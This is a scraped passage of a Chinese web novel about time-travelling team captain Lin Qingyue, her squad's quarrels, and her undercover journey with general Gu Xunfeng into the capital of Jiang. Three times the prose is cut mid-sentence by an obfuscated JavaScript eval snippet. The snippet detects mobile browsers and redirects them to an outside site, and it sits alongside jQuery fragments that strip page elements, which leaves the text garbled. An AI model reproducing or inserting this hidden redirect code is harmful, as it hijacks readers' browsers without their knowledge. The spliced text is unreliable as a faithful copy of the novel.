“为什么,这又不是什么任务,我们现在都是听你的在做事,你呢——”秦安肆冷笑,“听说你昨晚上在顾寻风那过夜的。” 林清月这暴脾气,当即一拍桌子站起来,质问:“你几个意思?” 秦安肆站起来,盯着她,也质问:“我之前同你说过的话你一点也没听,我只是想知道为什么你那么看重他,不行吗?” 他深吸口气,似乎很努力在压抑什么,最终选择讲道理:“就算是有什么原因,你非去不可,那这些日子,你在顾家发生了什么,我们都不知道,我也有权利发出疑问。呵……包括之前你一个人在敌方军营,那儿的事你也不肯多说,你也不信任我们,不是吗?” 林清月是没想到他会跟自己说这么多的,一般这种时候就直接骂起来了。 不过这样倒是让她也冷静下来。 她微微垂眸,沉默半晌,坐了下去,靠在椅背上,“他不一样。” 音落,还没等下一句。 康日愤愤说:“队长,我们是相信你不会陷进去才让你去的,这样下去,我们到时候还怎么回去?” 林清月太阳穴隐隐作痛,闭了闭眼打断他:“之前系统跟我说,这个世界是曾经崩坏过的世界,我就在想,一个世界里,要寻找到最终任务,那必然是跟小说中那些主角一样跟着主线走……那主线在哪?主角在哪?” 她双手抱胸,深呼吸理清思绪。 “刚开始接触的时候,顾寻风说他会做噩梦,我并没有怎么在意,直到前几天,在宫中的时候——” 说到这,她顿了一顿,问他们:“你们知道预知梦吗?” 说了这么多,在座的没有傻子。湛亦很快明白过来:“你是说,顾寻风有预知梦?” 秦安肆语气笃定:“所以你觉得,他是主角。” 林清月点点头,又摇头,“或许整个世界没有主角,但已经崩坏过的世界,或许也会自保吧——系统?” 【是的,宿主,不过要提醒的是,世界的确没有主角,至于主线什么的,666也不知道。】 “那也是和主角一样咖位的存在了。” 林清月垂眸思虑片刻,叹出口气,望向他们说:“没有及时跟你们共享情报,是我考虑不周。” 接着,她把在顾家、在皇宫所遇到的事简明扼要说了一遍。 “总之,我的想法是,传承任务只是相当于支线,我们最主要的,还是要找到最终任务,不然,根本没有回去的机会。” 湛亦认同了这个说法,也或许是她也想去姜国逛逛,所以选择附和林清月:“队长说的很对啊,我很赞同。而且康日不是天天说自己多厉害吗?这回就让他大展身手呗,基本工作仲长椿都已经做得差不多了,方案计划也都拟好……” 康日瞪她:“你就这么想去姜国玩?!” 林清月及时咳嗽,她不敢让这俩对上,插嘴解释道:“我是希望湛亦跟我一起的,姜国那么危险,顾寻风和我又只是表面合作关系,我怎么放心?毕竟也如她所说,这里的基本工作都已经做得差不多了,我也是信任你们才如此决定的啊。” “哼。”康日一撇头,看了眼罗知之,“之之擅长的不是这些,她胆子又小,维持局面什么的,你还不如让秦安肆来做。” “不做。”秦安肆没有一丝犹豫。 “……” 林清月早就猜到一般耸耸肩。 秦安肆平等仇视这里的所有人。 她叹口气,知道要开始做思想工作了,但张了张嘴,刚要说什么,罗知之忽然开口:“我可以的。” 罗知之抬眸看了一圈,手指攥紧成拳,是这几人里唯一坐得规规矩矩的。 她的眼神在秦安肆身上停顿了一秒,意有所指地说:“我知道,我身世不好,你们都看不起我,但……这一切也都是我努力争取来的,都已经争取到这里了,既然队长要求,那我,还是会更努力的。” 她深吸口气,声音低了一些:“我不会放弃的。” 罗知之家族挺好的,算是个小世家。 但罗知之是个私生女。 这在二十一世纪,是很让人诟病的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335904|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个名分。 对此,林清月没什么感觉,她自然是向来兢兢业业做好队长,其他人就不是了,点名批评秦安肆,刚来的时候那是一个眼高于顶,用鼻孔瞧人,对罗知之一直有偏见。 至于其他人,说不上多好,但至少不会去找她麻烦,顶多背地里说些什么,在被队长几次抓到后背地里说的也少了。 只是这些,对罗知之来说,一直都是不友好的。 罗知之本身也不爱说话,只喜欢自己埋头做研究,不爱接触人,故而林清月也一直想不出什么办法来缓和。 现在不就是一个机会,林清月也不可能放弃。 “既然之之都这么说了。”林清月走过去,摸摸罗知之的脑袋,“我相信之之。” 罗知之身子一僵,抬头望过去,抿唇微微笑了笑:“谢谢队长……” “好了,事情就这么决定了!”林清月心里一块大石头稍稍落下,一拍手掌,“大家各自去准备吧,散会散会。” 他们陆陆续续离去,秦安肆在走之前,看了她好几眼,又不确定问了一遍:“你真的对他没意思吧?” “都说了没有。”林清月无奈。 秦安肆咬牙:“到时候如果因为你一己私心害得我回不、我们回不去的话,你就完了。” 林清月冷笑:“说得好像你这话不是私心似的。” 秦安肆倒也没再说什么,他坦然承认,若是发现队长有二心,他就叛变,他无论如何都要回去,不可能一直待在这里。 然后也走了。 林清月想,就算到时候真的陷进去了,那也是没办法的事,虽然现在觉得不可能,但如果真的发展成这样,她也会保全队员的。 当然,她不信会发展成这样。 他们都离开了之后,林清月去到老位置,看顾寻风训练,脑子里想着去姜国的事。 得先确认目的,她的第一目的肯定是完成任务,去结交孟放歌,说不定孟放歌就是那什么继承人,又或者铲子的主人呢? 再其次,就是调查姜国和瀛洲之间的关系。 当然这次要的主要看顾寻风。 毕竟她一个二十一世纪手无缚鸡之力的大小姐,这种事情她干不了。 至于那个梦…… 既然之前,顾寻风已经化解了那么多次危机,这次,他应当早就想好了应对之法。 正想着,一道阴影覆盖过来。 林清月还没抬头去看,就被对方给捏着手臂从石头上拉了下来。 “去一趟瑾县。” 双脚着地,林清月抓着他的手臂站稳,这才抬眸看他,疑惑:“干嘛?” “等陛下派来的人。” 顾寻风言简意赅说完,带着她去牵马,二人一路到了瑾县,停在县令府门口。 等着下人去通报的时间,林清月唤出系统,联系了仲长湫。 【叮】 ‘长湫,你们那边怎么样?’ 仲长湫语气疲累:“啊,快了快了,队长你别急啊,急也没用……” ‘你怎么了?’林清月觉得有些好笑,‘知道让你保护一个小姑娘有些困难,放心,等你回来了,队长带你去吃大餐。’ 仲长湫沉默了片刻。 然后他语气平静,说:‘队长,如果是你看着一个少女屠手撕狼,还……总之,我肯定以及确定,你也会疯掉的。’ 林清月:‘?’ 46. 夫君夫君 此时县令搓着手掌迎过来,身上披着裘衣,呼出一口热气,在冷空气中都化成了白雾。 “外面冷,二位随我过来吧。” 林清月回过神来,自动切断与仲长湫的联系,跟着顾寻风走进去。 县令亲自给他们热茶,屋内烧了炭暖烘烘的,几人身上的裘衣都搁在了一边,林清月拍拍自己被热得通红的脸,看了眼顾寻风,他倒是泰然自若。 “顾寻风。” “嗯?” “你怎么不担心你小妹呢?” 顾寻风装模作样喝了口茶水,杯沿与盖子碰撞出声响,“叮”一声,伴随着他淡淡的声音:“她机灵。” “哦?是如何的机灵?”身旁的林姑娘笑了笑,似是有些好奇,一只手撑着脸看他,脸颊红扑扑的,很是可爱。 顾寻风只看了一眼,而后挪开目光。 “……林姑娘想我回答什么?”默了半晌,他问。 林清月撑着手肘又靠近一些,搭在桌上的手往前去,拉拉他衣袖,状似撒娇:“夫君不愿意说吗?妾身就是好奇嘛,好奇夫君的家人呀,你那么厉害,二姐也那么厉害,小妹她肯定也——很厉害吧。” 顾寻风喉咙哽住,嘴角抽了抽,缓慢扯出自己袖口,“焦焦不会武功。” 林清月更好奇了,她歪着脑袋看他:“那你还这么放心,若路上碰到坏人,或者豺狼虎豹什么的……” “她鬼点子多,不用担心。” 顾寻风似乎并不想多说,看着默默戳炭火的县令,把他招呼过来问:“陛下可有说,人什么时候能到?” 县令挠脑袋:“这没说呀,只说今日能送来小人这里。” “急什么啊。”林清月坐直身子,问县令:“大人,我的铺子怎么样啦?我看最近往朋友他们那送的银钱,还挺多,看来生意不错?” 县令一拍手,侃侃而谈起来:“那是啊!夫人简直聪明绝顶,造出这么好用的玩意儿,这瑾县也算是生光咯!还有许多外地商人来这边谈合作呢,每次都是一个姓李的小将士来保驾护航,可热心了!不过也就这一时啦,这东西流通出去,肯定会有人研究、效仿……” 林清月让县令坐下,说:“既然是好用的东西,怎么能独占,自然要懂得分享。总之起源于我们这儿,不就够了吗?” 县令一怔,而后拍拍脑袋,大悟:“哎呀,夫人果然还是夫人,冰雪聪明又善良,我呀就是一介小人啊,糊涂糊涂。” 林清月笑笑没接话。 光他们小队来供应的话,肯定是不够的,李驰不愧是被选中的继承人,自从教会了他,他对这件事就挺上心的,秦安肆说,江奇云天天在营里吐槽李驰不知道捣鼓什么,还说要离开军营闯荡四方去这种胡话。 闯荡四方好啊,见过更多的奇景,看过更多的齐物,认识更多的奇人,这样比纸上谈兵要好…… 林清月靠在椅背上,思绪飘散,屋内太过暖和,炭火烧着,时不时小炸一下,她撑着脑袋昏昏欲睡。 又打了个哈欠,她唤了县令一声,让他拿了个棋盘过来,搁在她和顾寻风中间的小桌上。 “你会……” “跟我下?”顾寻风望她一眼,没多说,把黑棋递给她。 林清月挑眉,默不作声就捻起一颗置于棋盘上,在心里默默数着。 一颗,两颗,三颗,四颗……五颗! “我赢了!” 顾寻风:“?” 林清月把自己的黑子一颗颗收回去,咧开嘴角,笑他:“怎么,谁说要跟你下围棋了?” 县令在一旁眼睛一亮:“这是什么棋?五子连珠便算赢?不愧是夫人,这个好……” 一转眼,看到满眼都写着生气、紧紧攥着棋子的顾寻风,一句话咽回去,往门口挪。 “哎呀,我突然想起还有些事务没处理,我先去旁边屋里处理事务。” 门被打开,一阵冷风灌了进来,林清月身子抖了一下,下意识往后看去,门已经再次被关上。 对面传来收棋的声响。 林清月又看回去。 顾寻风眉眼已经松下来,把棋子一颗颗收回去,再把他们的黑白棋调换,道:“重来。” 林清月瞥他一眼,眸中带着不明意味的笑,“请。” 到县令府的时候大概是午时,他们这一等,等到了傍晚,他们下了不知道多久的五子棋,顾寻风上手倒是快,不过她棋路一向不走常规,饶是向来淡定的顾寻风,也破防了不下五次。 但又犟,吃了亏就非要再打回来,就这样下了两个多时辰。 直到陛下的人终于把伪造的身份证件加急送来。 回到军营已经是夜晚,大多帐篷都没了光亮,两人便各自回帐篷睡觉。 按照计划,第二日林清月早早醒来,把东西又检查了一遍,拿着包袱,挎着自己缝制的小挎包就出了帐篷去把湛亦拉到仲长椿的帐篷商量。 “我们过去有两个任务,一是结识孟放歌,这个事,待我跟着顾寻风混过去就行,你们不用担心。” “至于这个什么留光铲——”林清月把铲子交给仲长椿,“我去寻孟放歌的时间,你们两个就带着这铲子去打听打听那什么神山,去山中找找线索。” 湛亦:“难怪要我也跟着,原来是要兵分两路。” “嗯,这样快些。” 一旁,仲长椿把铲子拿了跟布条捆着,绑在身后,满脸担忧问林清月:“我弟弟真的没事的吧?” 林清月叹口气,“放心放心,我昨天才联系过他们,很安全。” 几人三言两语商量好行程,便出门跟顾寻风汇合。 彼时顾寻风正在跟江奇云叮嘱事情,几句话的事情,看见林清月他们来了,便几句话总结完,牵过一匹普通的马,把缰绳递过去。 “谢啦。”林清月拍拍马的脑袋,她手上安抚着马匹,转头跟顾寻风说话,“皇帝是让我们伪装成苏周城的商队,你带了多少人?” 顾寻风:“十几个。” 林清月点点头表示知道了,看过去,见都已经收拾得差不多了,便翻身上马,“走吧走吧。” 他们从军营出发,自瑾县绕了绕,看着是从苏周城的方向来的,走走停停赶了三天的路,才在漫漫黄沙中看到姜国城关的影子。 林清月扣着斗篷上的帽子,抬手捏住帽子边沿稳住,转头去看顾寻风。 “焦焦他们真的没问题吗?” “你都问十遍了。” 顾寻风拉拉缰绳,距离她近了些,抬手紧了紧她斗篷的系带,语气轻轻:“你放心吧,焦焦虽然不会武功,但心够狠。” 林清月不懂就问:“什么意思?” “意思就是——”顾寻风给她稳好斗篷,嘴角勾起一抹笑,“她会为了达到目的,不择手段,所以完全不用担心她,该担心的是敢惹她的人。” 林清月害怕似的抖了抖,望过去,眼神中却是没有俱意。 “太可怕了太可怕了,希望长湫没有得罪她。” 顾寻风垂眸看她一眼,没说话,转眸看向越来越近的城关,“进了姜国边城,到达都城至少也要两日,我们进去了先找个客栈好生歇着。” 林清月敷衍应一声。 一行人拖着普普通通的货,穿着粗布麻衣,带着皇帝伪造的凭证,没费多大功夫就被放了进去,进去城门又行进了片刻,才看到人烟。 是一个小镇子,路过时,林清月看到碑上写着“金山镇”。 “我们凭证够真才不影响进城,但带了武器,他们会做记录,上报给宫里,不能掉以轻心。”顾寻风忘了眼四周萧索的景象,“这地方太偏僻,再往前走走吧。” 他们继续往前,很快穿过了这个小镇,又穿过几个关隘,到了一个县城里,几人找到一家客栈,林清月稍稍打听了一下。 这里是银山城。 而就在金山镇和银山城交接的不远处,便是神山。 神山不是什么秘密,来这儿的外乡人多多少少都打听过,客栈老板已经对答如流,她没多问什么,已经得知了这神山的信息。 这座神山名为太苍,据传,曾有位谪仙在此隐居,后得道重新飞升回神界,而这座山,隐藏了无数机缘,从山里活着走出来的皆是旷世奇才,比如那孟放歌将军…… “这是玄幻世界?” “不造啊。” 林清月和湛亦对视一眼,湛亦啧啧两声:“不太可能,我觉得多半……队长,你觉不觉得?” 林清月微微颔首。 这个世界指定不玄幻,但他们玄啊,本身穿越就很玄了。 “你们还在聊什么?”一旁,刚定完房间的顾寻风走过来,“走吧,去收拾东西。” 林清月跟着顾寻风一起去房间,到了房间,顾寻风没急着走,在里头帮她收拾了一会。她东西不多,只是一些日常生活用品,多出来的都存在百宝袋里,所以就算她带了什么稀奇东西,过关隘也是轻轻松松。 “你还在看什么呢?” “检查安全。” 林清月凑到他身边,笑嘻嘻问:“你的房间在哪?” 顾寻风撇头看她,疑惑:“你又想做什么?” 不知是不是想到那天晚上的事,他红着耳根转过身去,接着回答说:“你隔壁的隔壁的对面。” 林清月故作失望:“这么远啊,真是生疏了。” 顾寻风已经走到了门口,听见这话又转身看她,张了张嘴想说什么,但最终一个字都没说出来,离开的脚步有些匆忙,还有些凌乱。 林清月跑到门口,扒着门框去看,看见他极快的回屋关门。 她不由得笑出声来。 没别的意思,就是觉得挺好玩的。 …… 既然这神山太苍就在附近,林清月没有犹豫,第二日出发之前,便让仲长椿和湛亦去往太苍,仲长椿自然是担心弟弟的,但想到自己来时都有好长时间,说不定等他们出了太苍就能碰到了呢? 二人前往太苍山探索,林清月则跟顾寻风继续行进,一路前往都城。 姜国地域不大,一天多的时间,一行人算是看到了都城的城门,城门上是鎏金色的两个大字——蓟城。 “姜国宫殿就在蓟城内,不过这次关隘应当没那么好过,我们带着武器,一路直奔都城,应当早就被上报给宫中了。” 林清月看了看他刻意没打理的脸,那脸上还有她贴上去的胡茬,而后又摸摸自己脸上的沙石泥土。 “应该没事,现在就算江奇云站在面前也不认得我们。” 顾寻风不置可否:“但一定会被盯着。” 林清月问:“你打算怎么做?” 顾寻风没有犹豫,似乎是早就想好了,面容淡定,纤长的手指拢了拢兜帽,眼眸一转看向她:“若是直接被召入宫中,我会找个由头放你在外面,我自有办法带着人逃走。” “但若他们不主动动手……”他不知何时靠了过来,把她脑袋上被风吹落,挂在发髻上的兜帽重新戴好,朝她笑,“我就先把你安顿好,再去宫里。” 林清月抓住他手腕,“不是害怕吗,为什么还要进宫?” 许是想到了那个梦境,顾寻风的手颤了一下,但面上不显,只是笑意散了些,半晌,抽出自己的手说:“有你在外面。” 二人相望片刻。 他再次开口:“若七日之内我没出来,你便传信回军营,让他们戒备。” 林清月默然,待快到了城门,她忽然问:“传信回去要多久?” 顾寻风答:“最多三日。” “好,我知道了。”林清月停了下马,抬眸望着蓟城二字,嘴角噙笑,轻轻同他说,“顾寻风,你想做什么就尽管去做,外面一切有我。” 这次顾寻风没有立马回答,他勒停马匹,片刻后回头望向她,风吹起沙砾,刮在脸上如刀割一般。林清月抬手挡了挡,再放下手,他们靠近了些,顾寻风抬手把她眼睫上的沙砾轻轻拨弄下来。 “你量力而行。” “我知道。” 林清月跟上去,继续行至城门口,被士兵拦下排查。 士兵比对着看了许久,把他们一个个搜身,连鞋子都要脱下来,确认除了保命武器外,再没什么有威胁的东西,才准备放他们进去。 “都登记好了就……” “等一下。” 士兵眼神一顿,回头看过去,城门内有一人骑着马,缓步而来,面目严肃,士兵朝那人拜了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14348199|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜:“齐都尉。” 林清月只看了一眼,随后低垂着眉眼,捏住顾寻风衣裳,一副害怕的小女儿态。 来人是齐锋眠。 “武器都搜出来。”齐锋眠肃声命令,同时下马走过来,月白色的衣袍随着动作与风,在空中飘了飘,“王上下口谕,不许他国商人携带武器进城。” “是。” 顾寻风不等他来搜身,把身上的佩剑卸下,丢在地上,林清月躲在顾寻风身后,偷偷将百宝袋往衣服里面藏,士兵搜到她这,她便往顾寻风身后躲。 “……这位夫人。”齐锋眠本还在检查登记册,注意到这边动静走过来,直直盯着她,“烦请配合。” 士兵想绕过去,顾寻风当即抬手把她挡在身后,压低声音说:“我家夫人胆子小,碰不得其他人,会犯病,官爷见谅。” “……”林清月在思考,犯病该是个什么样子。 谁知道齐锋眠会突然来,她与齐锋眠接触最多,此时连头都不敢抬一下,生怕被认出来。而且这百宝袋,其他人不认得,齐锋眠肯定是认得的。 见她怎么也不肯,齐锋眠便问士兵:“方才搜过没?” “没搜太仔细,毕竟是女子。” 齐锋眠的目光在她身上绕了几圈,又看向领头的,也就是顾寻风,凛声问:“驻留几日?” 顾寻风答:“七日。” “太久了。”齐锋眠的手放在剑柄上,指尖缓慢点着,“五日。” 顾寻风沉默了一会,叹出口气,无奈道:“好。” 齐锋眠转身走了,留下话说:“五日未出城,全力搜捕。” 虽然有些波折,但也算是混进城了,进城行进了很长一段距离,林清月才松口气,顾寻风找了个客栈装模作样住下。 林清月把东西放在房中,正收拾东西的时候,顾寻风窜了进来关上门。 他走到旁边帮忙收拾,问她:“你同伴去探地形,何时能回来?” 林清月对于他们离去的解释,是探地形,方便逃跑。 “大概要个三天,怎么了?” 顾寻风垂着眸子,缓慢地收拾,“我算着,焦焦要过来的话,还要些时日,怕你没人贴身保护,会有事。” 林清月失笑,看向他,带了些狡黠:“你这么担心我的话,不要独自行动,带上我呗?” 顾寻风一顿,随后紧紧盯住她:“你不是还要去找你的……朋友?” “是啊。”林清月不否认,凑近了些,“可我认识的人官大,在宫里,或许校场能碰见,但那我一个人去不了。” 顾寻风望进她的眼眸,什么也看不见,他没在意她靠近,心里只有一个问题:“谁?” 林清月捕捉到他眼里的一丝不自在,悄悄又靠近,语气轻柔:“一个很厉害的将军。” “你不是说……”顾寻风顿了顿,没说下去,转头继续收拾。 林清月碰了碰他的胳膊,“当然,顾大将军才是最厉害的。” 顾寻风没有看她,落下的刘海遮挡住了他的神情,只能听见他淡然自若的声音:“就糊弄我……林姑娘,不怕我怀疑你通敌吗?” 林清月也不反驳,顺着他说:“所以,你怀疑的话,就更要把我绑在身边了。” 顾寻风轻轻笑了一声。 半晌,他道:“歪理。” “夫君。”林清月捏住他手臂,刻意打搅他收拾,“夫君带我一起,带我一起嘛,既然担心,就让我在你身边不是更好?” “我身边更危险。” “夫君。” “不行。” “夫君夫君——” “……” 被扰得实在没办法继续收拾下去了,顾寻风只能停下,把她的手扒下去,转身面对着她,看到她眼睛眨了一下,顿时发笑,双手抱胸望着她的模样调侃:“所以呢,现在是为了达到目的,在勾引我?” 林清月愣了一下,随即向他走近一步,“这才不叫勾引,将军。” 见他没有躲开,她便扯着他手腕,拉他往自己这边来,另一只手勾着他脖子微微踮脚。 气息缠在一起,几乎下一秒就要吻在一起。 “这才是勾引。” 她的手指还轻轻摩挲着他后颈,眼中带着浅浅的笑意。 顾寻风呼吸一滞,手下意识抬起,又不敢上前,就这么悬在空中,不知所措。 林清月看着他的模样,心里只觉得有趣,勾着他脖子往后走,一两步便抵到了桌沿,那只在腰侧悬空的手便顺势落在了桌沿上。 “怎么不说话?被我勾引到了?”林清月的手臂收紧,扣住他后颈朝他靠近。 她的呼吸都能打在脸上,仿佛在提醒着他什么,可他睫毛微颤,手指攥紧了桌沿,没能推开。顾寻风也不知道自己在想什么,他没有拒绝出口,明明可以轻易挣开,但他什么都没有做。 就这么缓缓靠近,他垂着眼睫,眼神从她眼眸而过,略过鼻梁,定格在唇上,他眸中荡了荡。 然后她又靠近了些,唇瓣翁动:“你说……” “砰!” 忽然,门猛的打开,带进来一阵风。 “嫂——欸。” “砰!!” 顾焦焦的身影一闪而过,然后另一个人伸手,在下一秒将门关上。 “……” 林清月被方才那动静吓得身子一抖,转头刚要说什么,忽然腰后横来一条手臂,腰身被人抓住,提溜着放在桌上,本抓着他的手一惊松开,被他覆着手背反抓住,扣在桌上。 温热的气息落在颈侧,挠痒痒似的,他把她抱在怀里,侧脸相贴,呼吸就在耳边。 林清月偏眸瞥了眼,勾着他的手臂收紧,绕过他脖子捏了捏他微微发红的耳垂,脑袋一歪,这才看见他侧脸,随即揶揄出声:“被我勾引到了?” 他在她耳边笑出声来,没有回望过去,眼神向下,望着桌上交叠的两只手,他的手心贴着她手背,手指弯了弯,紧紧扣入她五指之间,这么捏着她的手,把她的手放在自己腰后,而眼神也跟着黏过去。 林清月只能看见他的后颈,和高高束起的马尾,接着,是他清泉般的声音,横冲直撞入她耳中。 “抱一下。” 47. 游历北河 此时,屋外二人窸窸窣窣,不知在说些什么。 林清月余光瞥了眼门口,曲起膝盖将他顶开,手上轻轻推:“以后再说,焦焦他们来了,先做正事。” 说完,也不给他回话的机会,下桌子转身,小跑到门口将门重新打开,看见顾焦焦正在跟试图拉走她的仲长湫反抗。 她无奈:“进来吧。” 仲长湫还未反应过来,顾焦焦就已经回到了门前,“四嫂!我费了好大功夫才赶过来,我还以为你们不欢迎我,呜呜呜……” 林清月有些尴尬地挠挠脑袋,想着顾焦焦性格再怎么样,也只是个小女孩,不懂男女之事的,只能摸摸她脑袋安慰:“方才我们在谈论接下来的行程,焦焦要不要也听听?” 顾焦焦立马被哄好了:“好哇好哇!” 顾寻风悠悠从后面走过来,靠在门框上,看着正开心的顾焦焦问:“你们怎么过来的?” 一直没说话的仲长湫抢答:“去了趟太苍神山,小姐在神山找了只大狮子,骑过来的。” 顾寻风:“哦。” 林清月:“啊?” 顾焦焦嘿嘿一笑:“神山的狮子有灵性,指不定是喜欢我呢,你是不知道,路上他们都喊我仙女,可威风了!” 仲长湫无助的站在旁边,欲言又止,最终叹气:“进去吧,我好累。” 林清月回神,赶紧让他们进来,四人围着桌子坐下,顾寻风没在意他们的到来,继续分析说:“既然焦焦来了,那我也就可以放心去宫里,至于你要找的朋友,既然有官职,那该有相应的府邸,你找人打听打听就能打听到的。” “我怎么去嘛,人家是将门,肯定守卫森严……”林清月吐槽了一句,但似乎只是随口说说,转头又去问恹恹的仲长湫:“你去了神山,没碰到你哥哥吗?” 仲长湫立马来劲:“哥哥去神山了?” 林清月淡定否认:“不是,他们就在那附近探查,你们又骑着狮子那么张扬,我想着你们应该能碰到吧,没有吗?” “没有啊。”仲长湫又焉了。 顾焦焦在一旁补充:“狮子跑得快,他吓得头都不敢抬,怂死了,哪还能看到什么人?等他哥来了你再问问,说不定他哥看到他了,只是追不上,毕竟我们那么显眼。” “也是。”林清月点头附和。 顾焦焦笑眼弯弯,撑着脸看她:“四嫂不用担心,刚刚你说要找人,你想去找谁?我可以帮你混进去的!” “嗯……”林清月思索一番,对上顾焦焦期待的目光,认真问:“焦焦知不知道姜国有位女将军,姓孟,她平日应当是在将军府中吧?” 顾焦焦道:“我当然知道,她名声可大了呢,毕竟是神山眷顾的……四嫂要找她吗?找她做什么?” 林清月笑了笑:“偶然与她相识,但可惜因两国交战没了联系,所以想趁着这个机会再见见……” “我先走了。”正说着,顾寻风忽然开口,站了起来,“你们谈事情,我在这碍事,我回去做我自己的计划去。” 林清月看着他站起来往门口走,不由得疑惑:“哎,你去哪,有什么计划是我们不能听的?碍什么事?” 顾寻风脚步一顿,回眸看她,没说话,继续走出门,还好心把门给他们关上了。 “……莫名其妙。” 林清月吐槽了一句,没再理他,继续跟顾焦焦商量去将军府的事。 总之,是不可能明着进去的,但偷溜进去也不现实,虽然顾焦焦信誓旦旦,但林清月仍是不想冒险,她是去结交的,又不是跟人家结仇的。 于是,思索之下,林清月提议:“我在来时路上,听说孟将军最近在忙着翻修北河桥,我觉得我们可以去看看——” 她望向仲长湫:“哥哥不在,你有把握吗?” 仲长湫心里一紧,“我、我想想,我应应该可以……啊,还是得看看情况,那北河在哪里?” “就在蓟城里,不远。”林清月起身走到仲长湫身边,拍拍他肩膀,“我相信你,你从前一直跟着哥哥学□□不可能什么都没学到吧?” 仲长湫双手握拳,垂下眼眸:“哥哥天赋高,我不一样……” 顾焦焦也装模作样拍他肩膀:“既然四嫂都说了你可以,那就是可以!你放心,如果你这回干好了,虽然你是个仆人,但我一定会去跟爹说,让爹跟皇帝说……” “等等不用!”仲长湫面色一白,想站起来让她别说了,被她一巴掌拍在肩膀上,嗷了一声,没站起来。 “你放心,本小姐说话算话!” “……” 林清月看得发笑,坐回座位,跟他们定了时间。 第二天一大早,他们约着去了北河看桥,顾寻风自然没跟来,忙着跟士兵们商量混进皇宫的事。 北河常年浪涛汹涌,周边都不住人家,只有军官驻守,他们三人只敢在不远处观望,坐在一个茶楼二楼,为了防止被认出,林清月戴了个帷帽,用的还是黑纱,身上穿着玄黑为主的衣裳,只一点红丝带点缀。 其余二人还是普通的衣裳,顾焦焦百无聊赖坐着玩茶杯,玩得叮当响,桌上铺着一张纸,是仲长湫带来的,仲长湫时不时看一眼还未修建完全的大桥,在纸上写写画画。 林清月眼神落在纸上,手指把纱布撩开一点,正好可以看到纸上的内容。 默了会,她笑道:“能看出问题,还不错。” 仲长湫焉了吧唧,叹气:“队……小姐你肯定一看就能看出来,我算什么啊,要是哥哥在,比我还要快。” “哪里一看就能看出来?”林清月放下纱布,“跟你们专业人士比还是差远了,若真要我去帮忙,那还是不行的,顶多耍点嘴皮子。” 说着,她拿起茶杯抿了一口,转头把靠近窗口的手臂撑在窗沿上,手指在杯壁上点了点,“……昨晚我联系长椿,他说他们还在山里打转,暂时没发现什么,所以估计要些时日才能回来。” 仲长湫笔尖稍顿:“没、没关系,我一个人也可以的,可以的!” 林清月笑笑,不置可否:“你就专心想怎么修建的建议,等你想好了,接触他们的事,交给我就好。” 一旁,顾焦焦问:“我呢我呢那我呢?” “焦焦跟着我就好啦。” “好!” 对于这个安排,顾焦焦很开心。 他们三人在茶楼里待了三个时辰,期间还有驻守河岸的士兵交接班,来这儿休息,她带了本书,便只压着帽檐看书。 倒是顾焦焦坐不住,那两个士兵在谈今日“仙子”的传闻,她偏就凑上去问,笑嘻嘻听着别人夸赞自己的“仙姿”,美得不行。 回去的时候天色已经黑了,林清月本想和顾寻风他们一起吃顿饭,回去之后就敲了顾寻风的门,门没锁上,敲了几下,直接开了。 走进去,便能看到桌上放了一把短剑,短剑下压着一张纸,是顾寻风的字迹:“五日一到,立即退出客栈另寻地方隐藏踪迹。原先七日改到五日,若五日之后没有我的消息,便立即传信回军营,切记,自身安全第一位,量力而行。” …… 这么快就走了啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397639|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她还没问问昨天怎么就莫名其妙自己回屋去了呢。 将这封信收入怀中,林清月回屋,坐到桌前,思索了一下,提笔在纸上书写,片刻后,卷起纸张走到窗前,闭眼照着记忆中的样子,花一万积分从百宝袋拿个信鸽出来。 ‘确定顶尖?’ 【宿主放心!百宝袋出品,必须顶尖!】 ‘……’ 懒得喷。 林清月把信捆到信鸽腿上,检查了不下五遍,确认是牢固的,才把鸽子放飞。 【对了,宿主,你队员似乎着急找你呢。】 她队员?仲长椿吗? 林清月想都没想:‘联系一下。’ 【好的。】 自从被揍过一顿后,系统听话多了。 过了没几分钟,脑海中传来熟悉的【叮】一声。 彼时林清月还在收拾桌上残局。 ‘联系上……’ ‘你狗丢了。’ ?秦安肆的声音?? 等等,狗……她狗丢了?! 林清月捏着纸张的手一紧:‘小哈怎么了?’ 秦安肆语气平淡:‘前两天,我赶早起来给他喂狗粮,结果没看到狗影,找了一上午没找到。’ 如果只是刚刚发生的事还好,可这已经这么些天了,这段时间小哈一直很乖的啊,和军营里的士兵都混熟了,怎么突然就…… ‘这个年代也有狗贩子吗?’ 秦安肆说:‘不太可能,你那狗链一看就是它自己咬断的。’ 